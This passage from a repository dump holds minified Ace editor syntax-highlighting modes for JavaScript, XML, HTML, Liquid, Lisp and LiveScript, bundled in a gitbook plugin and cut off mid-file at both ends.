]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/liquid_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./html_highlight_rules\").HtmlHighlightRules,o=function(){s.call(this);var e=\"date|capitalize|downcase|upcase|first|last|join|sort|map|size|escape|escape_once|strip_html|strip_newlines|newline_to_br|replace|replace_first|truncate|truncatewords|prepend|append|minus|plus|times|divided_by|split\",t=\"capture|endcapture|case|endcase|when|comment|endcomment|cycle|for|endfor|in|reversed|if|endif|else|elsif|include|endinclude|unless|endunless|style|text|image|widget|plugin|marker|endmarker|tablerow|endtablerow\",n=\"forloop|tablerowloop\",r=\"assign\",i=this.createKeywordMapper({\"variable.language\":n,keyword:t,\"support.function\":e,\"keyword.definition\":r},\"identifier\");for(var o in this.$rules)this.$rules[o].unshift({token:\"variable\",regex:\"{%\",push:\"liquid-start\"},{token:\"variable\",regex:\"{{\",push:\"liquid-start\"});this.addRules({\"liquid-start\":[{token:\"variable\",regex:\"}}\",next:\"pop\"},{token:\"variable\",regex:\"%}\",next:\"pop\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"/|\\\\*|\\\\-|\\\\+|=|!=|\\\\?\\\\:\"},{token:\"paren.lparen\",regex:/[\\[\\({]/},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"text\",regex:\"\\\\s+\"}]}),this.normalizeRules()};r.inherits(o,i),t.LiquidHighlightRules=o}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/liquid\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/liquid_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./liquid_highlight_rules\").LiquidHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(a,i),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/liquid\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-lisp.js",
    "content": "define(\"ace/mode/lisp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"case|do|let|loop|if|else|when\",t=\"eq|neq|and|or\",n=\"null|nil\",r=\"cons|car|cdr|cond|lambda|format|setq|setf|quote|eval|append|list|listp|memberp|t|load|progn\",i=this.createKeywordMapper({\"keyword.control\":e,\"keyword.operator\":t,\"constant.language\":n,\"support.function\":r},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\";.*$\"},{token:[\"storage.type.function-type.lisp\",\"text\",\"entity.name.function.lisp\"],regex:\"(?:\\\\b(?:(defun|defmethod|defmacro))\\\\b)(\\\\s+)((?:\\\\w|\\\\-|\\\\!|\\\\?)*)\"},{token:[\"punctuation.definition.constant.character.lisp\",\"constant.character.lisp\"],regex:\"(#)((?:\\\\w|[\\\\\\\\+-=<>'\\\"&#])+)\"},{token:[\"punctuation.definition.variable.lisp\",\"variable.other.global.lisp\",\"punctuation.definition.variable.lisp\"],regex:\"(\\\\*)(\\\\S*)(\\\\*)\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(?:L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(?:L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"}],qqstring:[{token:\"constant.character.escape.lisp\",regex:\"\\\\\\\\.\"},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"start\"}]}};r.inherits(s,i),t.LispHighlightRules=s}),define(\"ace/mode/lisp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/lisp_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./lisp_highlight_rules\").LispHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.lineCommentStart=\";\",this.$id=\"ace/mode/lisp\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-live_script.js",
    "content": "define(\"ace/mode/live_script_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"punctuation.definition.comment.livescript\",regex:\"\\\\/\\\\*\",push:[{token:\"punctuation.definition.comment.livescript\",regex:\"\\\\*\\\\/\",next:\"pop\"},{token:\"storage.type.annotation.livescriptscript\",regex:\"@\\\\w*\"},{defaultToken:\"comment.block.livescript\"}]},{token:[\"punctuation.definition.comment.livescript\",\"comment.line.number-sign.livescript\"],regex:\"(#)(?!\\\\{)(.*$)\"},{token:[\"variable.parameter.function.livescript\",\"meta.inline.function.livescript\",\"storage.type.function.livescript\",\"meta.inline.function.livescript\",\"variable.parameter.function.livescript\",\"meta.inline.function.livescript\",\"storage.type.function.livescript\"],regex:\"(\\\\s*\\\\!?\\\\(\\\\s*[^()]*?\\\\))(\\\\s*)(!?[~-]{1,2}>)|(\\\\s*\\\\!?)(\\\\(?[^()]*?\\\\)?)(\\\\s*)(<[~-]{1,2}!?)\",comment:\"match stuff like: a -> \\u2026 \"},{token:[\"keyword.operator.new.livescript\",\"meta.class.instance.constructor\",\"entity.name.type.instance.livescript\"],regex:\"(new)(\\\\s+)(\\\\w+(?:\\\\.\\\\w*)*)\"},{token:\"keyword.illegal.livescript\",regex:\"\\\\bp(?:ackage|r(?:ivate|otected)|ublic)|interface|enum|static|yield\\\\b\"},{token:\"punctuation.definition.string.begin.livescript\",regex:\"'''\",push:[{token:\"punctuation.definition.string.end.livescript\",regex:\"'''\",next:\"pop\"},{defaultToken:\"string.quoted.heredoc.livescript\"}]},{token:\"punctuation.definition.string.begin.livescript\",regex:'\"\"\"',push:[{token:\"punctuation.definition.string.end.livescript\",regex:'\"\"\"',next:\"pop\"},{token:\"constant.character.escape.livescript\",regex:\"\\\\\\\\.\"},{include:\"#interpolated_livescript\"},{defaultToken:\"string.quoted.double.heredoc.livescript\"}]},{token:\"punctuation.definition.string.begin.livescript\",regex:\"``\",push:[{token:\"punctuation.definition.string.end.livescript\",regex:\"``\",next:\"pop\"},{token:\"constant.character.escape.livescript\",regex:\"\\\\\\\\(?:x[\\\\da-fA-F]{2}|[0-2][0-7]{0,2}|3[0-6][0-7]|37[0-7]?|[4-7][0-7]?|.)\"},{defaultToken:\"string.quoted.script.livescript\"}]},{token:\"string.array-literal.livescript\",regex:\"<\\\\[\",push:[{token:\"string.array-literal.livescript\",regex:\"\\\\]>\",next:\"pop\"},{defaultToken:\"string.array-literal.livescript\"}]},{token:\"string.regexp.livescript\",regex:\"/{2}(?![\\\\s=/*+{}?]).*?[^\\\\\\\\]/[igmy]{0,4}(?![a-zA-Z0-9])/{2}\"},{token:\"string.regexp.livescript\",regex:\"/{2}$\",push:[{token:\"string.regexp.livescript\",regex:\"/{2}[imgy]{0,4}\",next:\"pop\"},{include:\"#embedded_spaced_comment\"},{include:\"#interpolated_livescript\"},{defaultToken:\"string.regexp.livescript\"}]},{token:\"string.regexp.livescript\",regex:\"/{2}\",push:[{token:\"string.regexp.livescript\",regex:\"/{2}[imgy]{0,4}\",next:\"pop\"},{token:\"constant.character.escape.livescript\",regex:\"\\\\\\\\(?:x[\\\\da-fA-F]{2}|[0-2][0-7]{0,2}|3[0-6][0-7]|37[0-7]?|[4-7][0-7]?|.)\"},{include:\"#interpolated_livescript\"},{defaultToken:\"string.regexp.livescript\"}]},{token:\"string.regexp.livescript\",regex:\"/(?![\\\\s=/*+{}?]).*?[^\\\\\\\\]/[igmy]{0,4}(?![a-zA-Z0-9])\"},{token:\"keyword.control.livescript\",regex:\"\\\\b(?<![\\\\.\\\\$\\\\-])(?:t(?:h(?:is|row|en)|ry|ypeof!?|il|o)|c(?:on(?:tinue|st)|a(?:se|tch)|lass)|i(?:n(?:stanceof)?|mp(?:ort(?:\\\\s+all)?|lements)|[fs])|d(?:e(?:fault|lete|bugger)|o)|f(?:or(?:\\\\s+own)?|inally|unction|rom|allthrough)|s(?:uper|witch)|e(?:lse|x(?:tends|port)|val)|a(?:nd|rguments)|n(?:ew|ot)|un(?:less|til)|w(?:hile|ith|hen)|o(?:f|r|therwise)|return|break|let|var|loop|match|by)(?!\\\\-|\\\\s*:)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)\\n\t\t\t\t\\\\b(?<![\\\\.\\\\$\\\\-])(?:\\n\t\t        t(?:h(?:is|row|en)|ry|ypeof!?|il|o)\\n\t\t        |c(?:on(?:tinue|st)|a(?:se|tch)|lass)\\n\t\t        |i(?:n(?:stanceof)?|mp(?:ort(?:\\\\s+all)?|lements)|[fs])\\n\t\t        |d(?:e(?:fault|lete|bugger)|o)\\n\t\t        |f(?:or(?:\\\\s+own)?|inally|unction|rom|allthrough)\\n\t\t        |s(?:uper|witch)\\n\t\t        |e(?:lse|x(?:tends|port)|val)\\n\t\t        |a(?:nd|rguments)\\n\t\t        |n(?:ew|ot)\\n\t\t        |un(?:less|til)\\n\t\t        |w(?:hile|ith|hen)\\n\t\t        |o(?:f|r|therwise)\\n\t\t        |return|break|let|var|loop\\n\t\t        |match\\n\t\t        |by\\n\t\t\t\t)(?!\\\\-|\\\\s*:)\\\\b\\n\t\t\t\"},{token:\"keyword.operator.livescript\",regex:\"\\\\b(?<![\\\\.\\\\$\\\\-])(?:instanceof|new|delete|typeof|and|or|is|isnt|not)(?!\\\\-|\\\\s*:)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)\\n\t\t\t\t\\\\b(?<![\\\\.\\\\$\\\\-])(\\n\t\t\t\t\tinstanceof|new|delete|typeof|and|or|is|isnt|not\\n\t\t\t\t)(?!\\\\-|\\\\s*:)\\\\b\\n\t\t\t\"},{token:\"keyword.operator.livescript\",regex:\"and=|or=|%|&|\\\\^|\\\\*|\\\\/|(?<![a-zA-Z$_])(?:\\\\-)?\\\\-(?!\\\\-?>)|\\\\+\\\\+|\\\\+|~(?!~?>)|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<(?!\\\\[)|(?<!\\\\])>|(?<!\\\\w)!(?!(?:[~\\\\-]+)?>)|&&|\\\\.\\\\.(?:\\\\.)?|\\\\s\\\\.\\\\s|\\\\?|\\\\||\\\\|\\\\||\\\\:|\\\\*=|(?<!\\\\()/=|%=|\\\\+=|\\\\-=|\\\\.=|&=|\\\\(\\\\.|\\\\.\\\\)|\\\\^=\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)\\n\t\t\t\tand=|or=|%|&|\\\\^|\\\\*|\\\\/|(?<![a-zA-Z$_])(\\\\-)?\\\\-(?!\\\\-?>)|\\\\+\\\\+|\\\\+|\\n\t\t\t\t~(?!~?>)|==|=|!=|<=|>=|<<=|>>=|\\n\t\t\t\t>>>=|<>|<(?!\\\\[)|(?<!\\\\])>|(?<!\\\\w)!(?!([~\\\\-]+)?>)|&&|\\\\.\\\\.(\\\\.)?|\\\\s\\\\.\\\\s|\\\\?|\\\\||\\\\|\\\\||\\\\:|\\\\*=|(?<!\\\\()/=|%=|\\\\+=|\\\\-=|\\\\.=|&=|\\\\(\\\\.|\\\\.\\\\)|\\n\t\t\t\t\\\\^=\\n\t\t\t\"},{token:[\"variable.assignment.livescript\",\"variable.assignment.livescript\",\"variable.assignment.livescript\",\"punctuation.separator.key-value\",\"keyword.operator.livescript\",\"variable.assignment.livescript\"],regex:\"([a-zA-Z\\\\$_])((?:[\\\\w$.-])*)(\\\\s*)(?!\\\\::)(?:(:)|(=))(\\\\s*)(?!(?:\\\\s*!?\\\\s*\\\\(.*\\\\))?\\\\s*!?[~-]{1,2}>)\"},{token:\"keyword.operator.livescript\",regex:\"(?<=\\\\s|^)[\\\\[\\\\{](?=.*?[\\\\]\\\\}]\\\\s+[:=])\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<=\\\\s|^)([\\\\[\\\\{])(?=.*?[\\\\]\\\\}]\\\\s+[:=])\",push:[{token:\"keyword.operator.livescript\",regex:\"[\\\\]\\\\}]\\\\s*[:=]\",next:\"pop\"},{include:\"#variable_name\"},{include:\"#instance_variable\"},{include:\"#single_quoted_string\"},{include:\"#double_quoted_string\"},{include:\"#numeric\"},{defaultToken:\"meta.variable.assignment.destructured.livescript\"}]},{token:[\"meta.function.livescript\",\"entity.name.function.livescript\",\"entity.name.function.livescript\",\"entity.name.function.livescript\",\"entity.name.function.livescript\",\"variable.parameter.function.livescript\",\"entity.name.function.livescript\",\"storage.type.function.livescript\"],regex:\"(\\\\s*)(?=[a-zA-Z\\\\$_])([a-zA-Z\\\\$_])((?:[\\\\w$.:-])*)(\\\\s*)([:=])((?:\\\\s*!?\\\\s*\\\\(.*\\\\))?)(\\\\s*)(!?[~-]{1,2}>)\"},{token:\"storage.type.function.livescript\",regex:\"!?[~-]{1,2}>\"},{token:\"constant.language.boolean.true.livescript\",regex:\"\\\\b(?<!\\\\.)(?:true|on|yes)(?!\\\\s*[:=])\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"\\\\b(?<!\\\\.)(true|on|yes)(?!\\\\s*[:=])\\\\b\"},{token:\"constant.language.boolean.false.livescript\",regex:\"\\\\b(?<!\\\\.)(?:false|off|no)(?!\\\\s*[:=])\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"\\\\b(?<!\\\\.)(false|off|no)(?!\\\\s*[:=])\\\\b\"},{token:\"constant.language.null.livescript\",regex:\"\\\\b(?<!\\\\.)(?:null|void)(?!\\\\s*[:=])\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"\\\\b(?<!\\\\.)(null|void)(?!\\\\s*[:=])\\\\b\"},{token:\"variable.language.livescript\",regex:\"\\\\b(?<!\\\\.)(?:super|this|extends)(?!\\\\s*[:=])\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"\\\\b(?<!\\\\.)(super|this|extends)(?!\\\\s*[:=])\\\\b\"},{token:[\"storage.type.class.livescript\",\"meta.class.livescript\",\"entity.name.type.class.livescript\",\"meta.class.livescript\",\"keyword.control.inheritance.livescript\",\"meta.class.livescript\",\"entity.other.inherited-class.livescript\"],regex:\"(class\\\\b)(\\\\s+)((?:@?[a-zA-Z$_][\\\\w$.-]*)?)(?:(\\\\s+)(extends)(\\\\s+)(@?[a-zA-Z$_][\\\\w$.-]*))?\"},{token:\"keyword.other.livescript\",regex:\"\\\\b(?:debugger|\\\\\\\\)\\\\b\"},{token:\"support.class.livescript\",regex:\"\\\\b(?:Array|ArrayBuffer|Blob|Boolean|Date|document|event|Function|Int(?:8|16|32|64)Array|Math|Map|Number|Object|Proxy|RegExp|Set|String|WeakMap|window|Uint(?:8|16|32|64)Array|XMLHttpRequest)\\\\b\"},{token:\"entity.name.type.object.livescript\",regex:\"\\\\bconsole\\\\b\"},{token:\"support.function.console.livescript\",regex:\"(?<=console\\\\.)(?:debug|warn|info|log|error|time(?:End|-end)|assert)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"((?<=console\\\\.)(debug|warn|info|log|error|time(End|-end)|assert))\\\\b\"},{token:\"support.function.livescript\",regex:\"\\\\b(?:decodeURI(?:Component)?|encodeURI(?:Component)?|eval|parse(?:Float|Int)|require)\\\\b\"},{token:\"support.function.prelude.livescript\",regex:\"(?<![.-])\\\\b(?:map|filter|reject|partition|find|each|head|tail|last|initial|empty|values|keys|length|cons|append|join|reverse|fold(?:l|r)?1?|unfoldr|and(?:List|-list)|or(?:List|-list)|any|all|unique|sum|product|mean|compact|concat(?:Map|-map)?|maximum|minimum|scan(?:l|r)?1?|replicate|slice|apply|split(?:At|-at)?|take(?:While|-while)?|drop(?:While|-while)?|span|first|break(?:It|-it)|list(?:ToObj|-to-obj)|obj(?:ToFunc|-to-func)|pairs(?:ToObj|-to-obj)|obj(?:ToPairs|-to-pairs|ToLists|-to-lists)|zip(?:All|-all)?(?:With|-with)?|compose|curry|partial|flip|fix|sort(?:With|-with|By|-by)?|group(?:By|-by)|break(?:List|-list|Str|-str)|difference|intersection|union|average|flatten|chars|unchars|repeat|lines|unlines|words|unwords|max|min|negate|abs|signum|quot|rem|div|mod|recip|pi|tau|exp|sqrt|ln|pow|sin|cos|tan|asin|acos|atan|atan2|truncate|round|ceiling|floor|is(?:It|-it)NaN|even|odd|gcd|lcm|disabled__id)\\\\b(?![.-])\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)(?<![.-])\\\\b(\\n\t\t\t\tmap|filter|reject|partition|find|each|head|tail|last|initial|empty|\\n\t\t\t\tvalues|keys|length|cons|append|join|reverse|fold(l|r)?1?|unfoldr|\\n\t\t\t\tand(List|-list)|or(List|-list)|any|all|unique|sum|product|mean|compact|\\n\t\t\t\tconcat(Map|-map)?|maximum|minimum|scan(l|r)?1?|replicate|slice|apply|\\n\t\t\t\tsplit(At|-at)?|take(While|-while)?|drop(While|-while)?|span|first|\\n\t\t\t\tbreak(It|-it)|list(ToObj|-to-obj)|obj(ToFunc|-to-func)|\\n\t\t\t\tpairs(ToObj|-to-obj)|obj(ToPairs|-to-pairs|ToLists|-to-lists)|\\n\t\t\t\tzip(All|-all)?(With|-with)?|compose|curry|partial|flip|fix|\\n\t\t\t\tsort(With|-with|By|-by)?|group(By|-by)|break(List|-list|Str|-str)|\\n\t\t\t\tdifference|intersection|union|average|flatten|chars|unchars|repeat|\\n\t\t\t\tlines|unlines|words|unwords|max|min|negate|abs|signum|quot|rem|div|mod|\\n\t\t\t\trecip|pi|tau|exp|sqrt|ln|pow|sin|cos|tan|asin|acos|atan|atan2|truncate|\\n\t\t\t\